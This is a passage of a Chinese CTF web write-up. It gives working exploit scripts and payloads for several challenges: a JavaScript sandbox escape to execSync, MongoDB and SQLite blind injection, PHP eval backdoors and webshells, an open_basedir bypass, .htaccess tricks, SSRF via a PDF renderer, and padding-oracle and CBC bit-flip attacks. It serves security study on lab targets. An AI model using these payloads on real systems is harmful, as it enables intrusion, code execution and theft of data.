req.session .results || []; const { e, first, second } = req.body ; if (first && second && first.length === second.length && first!==second && md5 (first+keys[0 ]) === md5 (second+keys[0 ])) { if (req.body .e ) { try { result = saferEval (req.body .e ) || 'Wrong Wrong Wrong!!!' ; } catch (e) { console .log (e); result = 'Wrong Wrong Wrong!!!' ; } results.unshift (`${req.body.e} =${result} ` ); } } else { results.unshift ('Not verified!' ); } if (results.length > 13 ) { results.pop (); } req.session .results = results; res.send (render (req.session .results )); }); app.get ('/source' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync ('./index.js' )); }); app.get ('/' , function (req, res ) { res.set ('Content-Type' , 'text/html;charset=utf-8' ); req.session .admin = req.session .admin || 0 ; res.send (render (req.session .results = req.session .results || [])) }); app.listen (80 , '0.0.0.0' , () => { console .log ('Start listening' ) });
首先是一个弱类型比较,这个用1、[1]
这种数组就可以绕过了,重点是那一段正则匹配 这样就明朗了许多,也就是Math.xxxx
这种形式,这里直接给exp
1 2 3 4 5 6 (Math => ( Math =Math .constructor , Math .x =Math .constructor ( Math .fromCharCode( 114 ,101 ,116 ,117 ,114 ,110 ,32 ,112 ,114 ,111 ,99 ,101 ,115 ,115 ,46 ,109 ,97 ,105 ,110 ,77 ,111 ,100 ,117 ,108 ,101 ,46 ,114 ,101 ,113 ,117 ,105 ,114 ,101 ,40 ,39 ,99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 ,39 ,41 ,46 ,101 ,120 ,101 ,99 ,83 ,121 ,110 ,99 ,40 ,39 ,99 ,97 ,116 ,32 ,47 ,102 ,108 ,97 ,103 ,39 ,41 ) )( )))(Math +1 )
数字生成用
1 2 3 4 payload = "return process.mainModule.require('child_process').execSync('cat /flag')" print "(" +"," .join([str (ord (i)) for i in payload])+")"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST / HTTP/1.1 Host: ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81 Content-Length: 415 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSION=eyJhZG1pbiI6MCwicmVzdWx0cyI6W119; PHPSESSION.sig=SFo70cx65cwKyPASinpRUu_QwA0 Connection: close {"e":"(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)","first":"1","second":["1"]}
[2021祥云杯]Package Manager 2021 考点:Mongodb注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport stringpasswd = "" for i in range (0 ,50 ): for j in string.printable: burp0_url = "http://4b183de9-b110-4c03-a5d0-bac9afc1fe3c.node4.buuoj.cn:81/auth" burp0_cookies = {"session" : "s%3ANEYdZMIlS_E9xWz2Aj_XJ3EzDD3JY87L.cgc%2B05OM1TqfGZ%2BshhJFiGgJMUuCjZ4EnOPp89RNI%2FQ" } burp0_data = {"_csrf" : "rxKdo1zr-vnheyATy42CNuyQWNX8ppI1AMS4" , "token" : "202cb962ac59075b964b07152d234b70\"||this.password[{}]==\"{}" .format (i,j)} print (burp0_data) res=requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data,allow_redirects=False ) if res.status_code == 302 : passwd += j print (passwd)
脚本如上。 注入点就在auth路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import * as express from "express" ;import { User } from "../schema" ;import { checkmd5Regex } from "../utils" ;const router = express.Router ();router.get ('/' , (_, res ) => res.render ('index' )) router.get ('/login' , (_, res ) => res.render ('login' )) router.post ('/login' , async (req, res) => { let { username, password } = req.body ; if (username && password) { if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" ) { return res.render ('login' , { error : 'Parameters error' }); } const user = await User .findOne ({ "username" : username }) if (!user || !(user.password === password)) { return res.render ('login' , { error : 'Invalid username or password' }); } req.session .userId = user.id res.redirect ('/packages/list' ) } else { return res.render ('login' , { error : 'Parameters cannot be blank' }); } }) router.get ('/register' , (_, res ) => res.render ('register' )) router.post ('/register' , async (req, res) => { let { username, password, password2 } = req.body ; if (username && password && password2) { if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string" ) { return res.render ('register' , { error : 'Parameters error' }); } if (password != password2) { return res.render ('register' , { error : 'Password do noy match' }); } if (await User .findOne ({ username : username })) { return res.render ('register' , { error : 'Username already taken' }); } try { const user = new User ({ "username" : username, "password" : password, "isAdmin" : false }) await user.save () } catch (err) { return res.render ('register' , { error : err }); } res.redirect ('/login' ); } else { return res.render ('register' , { error : 'Parameters cannot be blank' }); } }) router.get ('/logout' , (req, res ) => { req.session .destroy (() => res.redirect ('/' )) }) router.get ('/auth' , (_, res ) => res.render ('auth' )) router.post ('/auth' , async (req, res) => { let { token } = req.body ; if (token !== '' && typeof (token) === 'string' ) { if (checkmd5Regex (token)) { try { let docs = await User .$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()} "` ).exec () console .log (docs); if (docs.length == 1 ) { if (!(docs[0 ].isAdmin === true )) { return res.render ('auth' , { error : 'Failed to auth' }) } } else { return res.render ('auth' , { error : 'No matching results' }) } } catch (err) { return res.render ('auth' , { error : err }) } } else { return res.render ('auth' , { error : 'Token must be valid md5 string' }) } } else { return res.render ('auth' , { error : 'Parameters error' }) } req.session .AccessGranted = true res.redirect ('/packages/submit' ) }); export default router;
可以看到auth处存在${}
字符串拼贴,可以得到管理员admin密码
[蓝帽杯 2021]One Pointer PHP 考点:数组整形溢出、FTP被动模式攻击PHP-FPM、绕过disabled_function、绕过open_basedir
这一题知识点好多。尤其是FTP的被动模式攻击,这个在前几年是很流行的一个考点,但无奈入门比较晚,现在才接触。。。。anyway现在来学 复现完了后发现完全不需要FTP啊。。。用UserFilter就可以绕过了。不过算了,直接当做一个练习的机会!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "user.php" ;if ($user =unserialize ($_COOKIE ["data" ])){ $count [++$user ->count]=1 ; if ($count []=1 ){ $user ->count+=1 ; setcookie ("data" ,serialize ($user )); }else { eval ($_GET ["backdoor" ]); } }else { $user =new User ; $user ->count=1 ; setcookie ("data" ,serialize ($user )); } ?>
1 2 3 4 <?php class User { public $count ; }
题目主要源码如上,主要就是绕过那个if,这里整形溢出直接绕过。
1 2 3 4 5 6 7 8 <?php class User { public $count ; } $user =new User ();$user ->count=9223372036854775806 ;echo urlencode (serialize ($user ))?>
可以有效绕过。 绕过后就可以rce,phpinfo发现disable了很多function,但是可以写马?backdoor=file_put_contents("/var/www/html/boogipop.php","<?php eval(\$_POST[1]);?>");
蚁剑连上去利用UserFIlter绕过一下disabled_function,但是,这个方法是2022出来的,题目是2021所以我等于用现代知识去打了。所以这是非预期,绕过之后就反弹一个shell回来,寻找suid权限,发现php指令是s权限 那么我们可以利用php -a
进行交互式php终端,然后提权,这里php -a得到交互终端后需要绕过open_basedir,我们使用如下方法绕过
1 2 3 4 5 6 7 8 9 10 mkdir ('a' );chdir ('a' );getcwd ();echo getcwd ();/var /www/html/a ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );var_dump (scandir ('/' ));
最后直接readfile即可
[HXBCTF 2021]easywill 考点:代码审计、文件包含getshell
[HarekazeCTF2019]Sqlite Voting 考点:SQLITE 整形溢出 replace hex 题目源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 );if (isset ($_GET ['source' ])) { show_source (__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ "[\"%'*+\\/<=>\\\\_`~-]" , '\s' , 'blob' , 'load_extension' , 'char' , 'unicode' , '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' , 'in' , 'limit' , 'order' , 'union' , 'join' ]; $regexp = '/' . implode ('|' , $banword ) . '/i' ; if (preg_match ($regexp , $str )) { return false ; } return true ; } header ("Content-Type: text/json; charset=utf-8" );if (!isset ($_POST ['id' ]) || empty ($_POST ['id' ])) { die (json_encode (['error' => 'You must specify vote id' ])); } $id = $_POST ['id' ];if (!is_valid ($id )) { die (json_encode (['error' => 'Vote id contains dangerous chars' ])); } $pdo = new PDO ('sqlite:../db/vote.db' );$res = $pdo ->query ("UPDATE vote SET count = count + 1 WHERE id = ${id}" );if ($res === false ) { die (json_encode (['error' => 'An error occurred while updating database' ])); } echo json_encode ([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import binasciiimport requestsURL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php' l = 0 i = 0 for j in range (16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1 <<j} )when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print ('[+] length:' , l)table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{' ).decode().upper() for i in range (len (res), l): for x in '0123456789ABCDEF' : t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print (f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print ('[+] flag:' , binascii.unhexlify(res).decode())
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import binasciiimport requestsURL = 'http://1e5460dc-7687-42ca-903b-d76d11d9894b.node4.buuoj.cn:81/vote.php' l = 0 i = 0 for j in range (16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1 <<j} )when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print ('[+] length:' , l)table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{' ).decode().upper() for i in range (0 , l): for x in '0123456789ABCDEF' : t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print (f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print ('[+] flag:' , binascii.unhexlify(res).decode())
这一题的妙处在于使用trim构造十六进制的字母,由于题目是过滤了单双引号的,以及过滤了一些函数,这让常规操作都无法生效,但是在sqlite中||
是字符串连接符。它和mysql是不一样的所以可以进行字符串连接 然后上述exp中可以通过trim(hex)的方法获取ABCDEFG
,这样就可以使用任意的十六进制字符了。 去除掉字母就只剩下C
这样就得到了字母C
,其他的也一样可以获取,这就是这题的妙处,然后这一题对于绕过=
使用的是case...when
语句select case when 1 then 'ok' else 'fuck' end;
这一点也十分的妙,这就是这题的精髓
[2021祥云杯]secrets_of_admin 考点:XSS+SSRF 有点傻了,忘记了include是可以绕的,其实知道可以绕,但是不知道数组桡过后值还能传过来,我铸币了对不起 不过话说回来这题出的也不错的,迷惑点很多,然后考点也不是很难,完全靠的是我们的识别和审计能力了。是一次不错的锻炼。 开局给我们代码了 index.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 import * as express from 'express' ;import { Request , Response , NextFunction } from 'express' ;import * as createError from "http-errors" ;import * as pdf from 'html-pdf' ;import DB from '../database' ;import * as fs from 'fs' ;import * as path from 'path' ;import * as crypto from 'crypto' ;import { promisify } from 'util' ;import { v4 as uuid } from 'uuid' ;const readFile = promisify (fs.readFile )const getCheckSum = (filename : string): Promise <string> => { return new Promise ((resolve, reject ) => { const shasum = crypto.createHash ('md5' ); try { const s = fs.createReadStream (path.join (__dirname , "../files/" , filename)); s.on ('data' , (data ) => { shasum.update (data) }) s.on ('end' , () => { return resolve (shasum.digest ('hex' )); }) } catch (err) { reject (err) } }) } const checkAuth = (req: Request, res:Response, next:NextFunction ) => { let token = req.signedCookies ['token' ] if (token && token["username" ]) { if (token.username === 'superuser' ){ next (createError (404 )) } if (token.isAdmin === true ) { next (); } else { return res.redirect ('/' ) } } else { next (createError (404 )); } } const router = express.Router ();router.get ('/' , (_, res ) => res.render ('index' , { message : `Only admin's function is implemented. 😖 ` })) router.post ('/' , async (req, res) => { let { username, password } = req.body ; if ( username && password) { if ( username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" ) { return res.render ('index' , { error : 'Parameters error 👻' }); } let data = await DB .Login (username, password) if (!data) { return res.render ('index' , { error : 'You are not admin 😤' }); } res.cookie ('token' , { username : username, isAdmin : true }, { signed : true }) res.redirect ('/admin' ); } else { return res.render ('index' , { error : 'Parameters cannot be blank 😒' }); } }) router.get ('/admin' , checkAuth, async (req, res) => { let token = req.signedCookies ['token' ]; try { const files = await DB .listFile (token.username ); if (files) { res.cookie ('token' , {username : token.username , files : files, isAdmin : true }, { signed : true }) } } catch (err) { return res.render ('admin' , { error : 'Something wrong ... 👻' }) } return res.render ('admin' ); }); router.post ('/admin' , checkAuth, (req, res, next ) => { let { content } = req.body ; if ( content == '' || content.includes ('<' ) || content.includes ('>' ) || content.includes ('/' ) || content.includes ('script' ) || content.includes ('on' )){ return res.render ('admin' , { error : 'Forbidden word 🤬' }); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content} </h3> </body> </html> ` try { const filename = `${uuid()} .pdf` pdf.create (template, { "format" : "Letter" , "orientation" : "portrait" , "border" : "0" , "type" : "pdf" , "renderDelay" : 3000 , "timeout" : 5000 }).toFile (`./files/${filename} ` , async (err, _) => { if (err) next (createError (500 )); const checksum = await getCheckSum (filename); await DB .Create ('superuser' , filename, checksum) return res.render ('admin' , { message : `Your pdf is successfully saved 🤑 You know how to download it right?` }); }); } catch (err) { return res.render ('admin' , { error : 'Failed to generate pdf 😥' }) } } }); 2 router.get ('/api/files' , async (req, res, next) => { if (req.socket .remoteAddress .replace (/^.*:/ , '' ) != '127.0.0.1' ) { return next (createError (401 )); } let { username , filename, checksum } = req.query ; if (typeof (username) == "string" && typeof (filename) == "string" && typeof (checksum) == "string" ) { try { await DB .Create (username, filename, checksum) return res.send ('Done' ) } catch (err) { return res.send ('Error!' ) } } else { return res.send ('Parameters error' ) } }); router.get ('/api/files/:id' , async (req, res) => { let token = req.signedCookies ['token' ] if (token && token['username' ]) { if (token.username == 'superuser' ) { return res.send ('Superuser is disabled now' ); } try { let filename = await DB .getFile (token.username , req.params .id ) if (fs.existsSync (path.join (__dirname , "../files/" , filename))){ return res.send (await readFile (path.join (__dirname , "../files/" , filename))); } else { return res.send ('No such file!' ); } } catch (err) { return res.send ('Error!' ); } } else { return res.redirect ('/' ); } }); export default router;
app.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import * as express from 'express' ;import {Request , Response , NextFunction } from 'express' ;import {HttpError } from 'http-errors' ;import * as cookieParser from 'cookie-parser' ;import * as bodyParser from 'body-parser' ;import * as path from 'path' ;import * as logger from 'morgan' ;import router from './routes/index' ;import * as createError from 'http-errors' ;const app = express ();app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'pug' ); app.use (logger ('dev' )); app.use ('/static' ,express.static (path.join (__dirname,'static' ))); app.use (cookieParser ('💣🏁😓🐋🍓' )); app.use (bodyParser.urlencoded ({extended : true })); app.use ('/' ,router); app.use ((_: Request, _res: Response, next: NextFunction ) => { next (createError (404 )); }); app.use ((err: HttpError, _: Request, res: Response, next: NextFunction ) => { if (res.headersSent ) { return next (err); } res.locals .message = err.message ; res.locals .error = err; res.locals .status = (err.status || 500 ) res.status (err.status || 500 ); res.render ('error' ); }); app.listen (8888 , () => console .log ('Listening at port 8888' ));
database.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import * as sqlite3 from 'sqlite3' ;let db = new sqlite3.Database ('./database.db' , (err ) => { if (err) { console .log (err.message ) } else { console .log ("Successfully Connected!" ); db.exec (` DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL ); INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645'); DROP TABLE IF EXISTS files; CREATE TABLE IF NOT EXISTS files ( username VARCHAR(255) NOT NULL, filename VARCHAR(255) NOT NULL UNIQUE, checksum VARCHAR(255) NOT NULL ); INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');` ); console .log ('Init Finished!' ) } }); export default class DB { static Login (username : string, password : string): Promise <any> { return new Promise ((resolve, reject ) => { db.get (`SELECT * FROM users WHERE username = ? AND password = ?` , username, password, (err , result ) => { if (err) return reject (err); resolve (result !== undefined ); }) }) } static getFile (username : string, checksum : string): Promise <any> { return new Promise ((resolve, reject ) => { db.get (`SELECT filename FROM files WHERE username = ? AND checksum = ?` , username, checksum, (err , result ) => { if (err) return reject (err); resolve (result ? result['filename' ] : null ); }) }) } static listFile (username : string): Promise <any> { return new Promise ((resolve, reject ) => { db.all (`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename` , username, (err, result ) => { if (err) return reject (err); resolve (result); }) }) } static Create (username : string, filename : string, checksum : string): Promise <any> { return new Promise ((resolve, reject ) => { try { let query = `INSERT INTO files(username, filename, checksum) VALUES('${username} ', '${filename} ', '${checksum} ');` ; resolve (db.run (query)); } catch (err) { reject (err); } }) } }
给3个ts文件,其中index.ts是路由文件,database.ts代表数据库处理,在里面有一个很迷惑的${}
让我一开始以为义眼丁真是sql注入。结果没他啥事情 看完了之后不难知道,我们需要读取files目录下的flag文件,但是flag是superuser用户的,我们是admin用户,如果我们是superuser,我们也读取不到,因为有一层判断。 因此我们需要做的事情是,通过/api/files
路由,进行SSRF,给admin用户添加一个flag文件,然后我们就可以读取拉~ tml-pdf 用到了phanthomjs渲染,因此存在ssrf漏洞,这边我们只需要让content里包含一个xss的代码,他就会去渲染,进而造成ssrf漏洞了。一个小tips 然后content里做了waf处理,但是可以用数组绕过。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /admin HTTP/1.1 Host: 066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81 Content-Length: 138 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU Connection: close content[]=%3Cimg%20src%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D.%2Fflag%26checksum%3D114514%22%3E
[JMCTF 2021]UploadHub 考点:.htaccess盲注、文件上传 这一题的考点比较好玩,可以用htaccess文件来打盲注,题目给了源码,就不放出来了,没啥过滤的文件上传,怪怪的。 传htaccess过去后内容如下
1 2 3 <If "file('/flag')=~ '/flag{/'"> ErrorDocument 404 "boogipop" </If>
如果匹配到就返回一个404界面,内容是boogipop,这就可以拿来当盲注了。 或者直接包含.htaccess
1 2 3 4 5 6 7 8 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_file .htaccess #<?php eval($_POST['dmind']);?>
校园网有waf,不传了。
[NPUCTF2020]web🐕 考点:CBC字节翻转攻击、Padding Oracle攻击 攻击原理可以参考这篇文章:https://www.cnblogs.com/tr1ple/p/11114958.html 简单地说一下,CBC加密方式为分组加密,一般为16一组 初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间明文,然后其再和密钥进行加密将得到密文,得到的密文将作为下一个分组的初始向量,与下一个分组的明文进行异或得到的二组的中间明文,依次类推。 然后解密过程也是如此,逆着来罢了 假如我们想要进行padding oracle攻击获取明文,我们只需要记住一个公式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 我摊牌了,就是懒得写前端 <?php error_reporting (0 );include ('config.php' ); define ("METHOD" , "aes-128-cbc" ); define ("SECRET_KEY" , $key ); define ("IV" ,"6666666666666666" ); define ("BR" ,'<br>' );if (!isset ($_GET ['source' ]))header ('location:./index.php?source=1' );function aes_encrypt ($iv ,$data ) { echo "--------encrypt---------" .BR; echo 'IV:' .$iv .BR; return base64_encode (openssl_encrypt ($data , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv )).BR; } function aes_decrypt ($iv ,$data ) { return openssl_decrypt (base64_decode ($data ),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv ) or die ('False' ); } if ($_GET ['method' ]=='encrypt' ){ $iv = IV; $data = $flag ; echo aes_encrypt ($iv ,$data ); } else if ($_GET ['method' ]=="decrypt" ) { $iv = @$_POST ['iv' ]; $data = @$_POST ['data' ]; echo aes_decrypt ($iv ,$data ); } echo "我摊牌了,就是懒得写前端" .BR;if ($_GET ['source' ]==1 )highlight_file (__FILE__ );?>
题目源码如上,这一题就是padding oracle注入,已知初始向量和密文,让我们获取明文,这里是大佬写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsimport base64import timeCYPHERTEXT = base64.b64decode("ly7auKVQCZWum/W/4osuPA==" ) IV = "6666666666666666" N = 16 inermediaryValue = "" plainText = "" iv = "" URL = "http://bbe51fc0-eeac-4b1b-9f8d-c460bb9270e8.node4.buuoj.cn:81/index.php?source=1&method=decrypt" def xor (a, b ): """ 用于输出两个字符串对位异或的结果 """ return "" .join([chr (ord (a[i]) ^ ord (b[i])) for i in range (len (a))]) for step in range (1 , N + 1 ): padding = chr (step) * (step - 1 ) print (step,end="," ) for i in range (0 , 256 ): print (i) """ iv由三部分组成: 待爆破位置 chr(0)*(N-step) 正在爆破位置 chr(i) 使 iv[N-step+1:] ^ inermediaryValue = padding 的 xor(padding,inermediaryValue) """ iv = chr (0 )*(N-step)+chr (i)+xor(padding,inermediaryValue) data = { "data" : "ly7auKVQCZWum/W/4osuPA==" , "iv" : iv } r = requests.post(URL,data = data) time.sleep(0.1 ) if r.text !="False" : inermediaryValue = xor(chr (i),chr (step)) + inermediaryValue print (inermediaryValue) break plainText = xor(inermediaryValue,IV) print (plainText)
继续访问FlagIsHere.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 eFbQsEEn3mMvggbTmA262Q== <?php include ('config.php' ); define ("METHOD" , "aes-128-cbc" );define ("SECRET_KEY" , "6666666" );session_start ();function get_iv ( ) { $random_iv ='' ; for ($i =0 ;$i <16 ;$i ++){ $random_iv .=chr (rand (1 ,255 )); } return $random_iv ; } $lalala = 'piapiapiapia' ;if (!isset ($_SESSION ['Identity' ])){ $_SESSION ['iv' ] = get_iv (); $_SESSION ['Identity' ] = base64_encode (openssl_encrypt ($lalala , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION ['iv' ])); } echo base64_encode ($_SESSION ['iv' ])."<br>" ;if (isset ($_POST ['iv' ])){ $tmp_id = openssl_decrypt (base64_decode ($_SESSION ['Identity' ]), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode ($_POST ['iv' ])); echo $tmp_id ."<br>" ; if ($tmp_id ==='weber' )die ($fl4g ); } highlight_file (__FILE__ );?>
这里涉及一个CBC字节翻转,翻转的原理如下
1 2 3 4 5 6 7 8 9 10 import requestsimport base64target = b'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b' orginal = b'piapiapiapia\x04\x04\x04\x04' iv = base64.b64decode('eFbQsEEn3mMvggbTmA262Q==' ) result = b'' for i in range (16 ): result+=bytes ([target[i] ^ iv[i] ^ orginal[i]]) print (base64.b64encode(result))
用该脚本进行翻转 获取恶意的IV了f1rTpVpNpQFF+WS5lwK11g==
输入获得 然后获取一个class文件,直接运行输出flag
[网鼎杯 2020 半决赛]faka 考点:代码审计、CMS、任意文件上传 源码已经给了,漏洞点定位在后台的文件上传 Plugs.php有如下节选内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public function upload ( ) { $file = $this ->request->file ('file' ); $ext = strtolower (pathinfo ($file ->getInfo ('name' ), 4 )); $md5 = str_split ($this ->request->post ('md5' ), 16 ); $filename = join ('/' , $md5 ) . ".{$ext} " ; if (strtolower ($ext ) == 'php' || !in_array ($ext , explode (',' , strtolower (sysconf ('storage_local_exts' ))))) { return json (['code' => 'ERROR' , 'msg' => '文件上传类型受限' ]); } if ($this ->request->post ('token' ) !== md5 ($filename . session_id ())) { return json (['code' => 'ERROR' , 'msg' => '文件上传验证失败' ]); } if (($info = $file ->move ('static' . DS . 'upload' . DS . $md5 [0 ], $md5 [1 ], true ))) { if (($site_url = FileService ::getFileUrl ($filename , 'local' ))) { return json (['data' => ['site_url' => $site_url ], 'code' => 'SUCCESS' , 'msg' => '文件上传成功' ]); } } return json (['code' => 'ERROR' , 'msg' => '文件上传失败' ]); }
这一部分文件上传乍一看没什么问题,strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts')
使用了白名单认证,无懈可击,但是我们但凡往后跟几步就会发现不对劲。之后调用move
函数保存文件 会调用buildSaveName
保存文件,因此跟进 注意if (!strpos($savename, '.'))
,如果我们上传的md5后半段有.
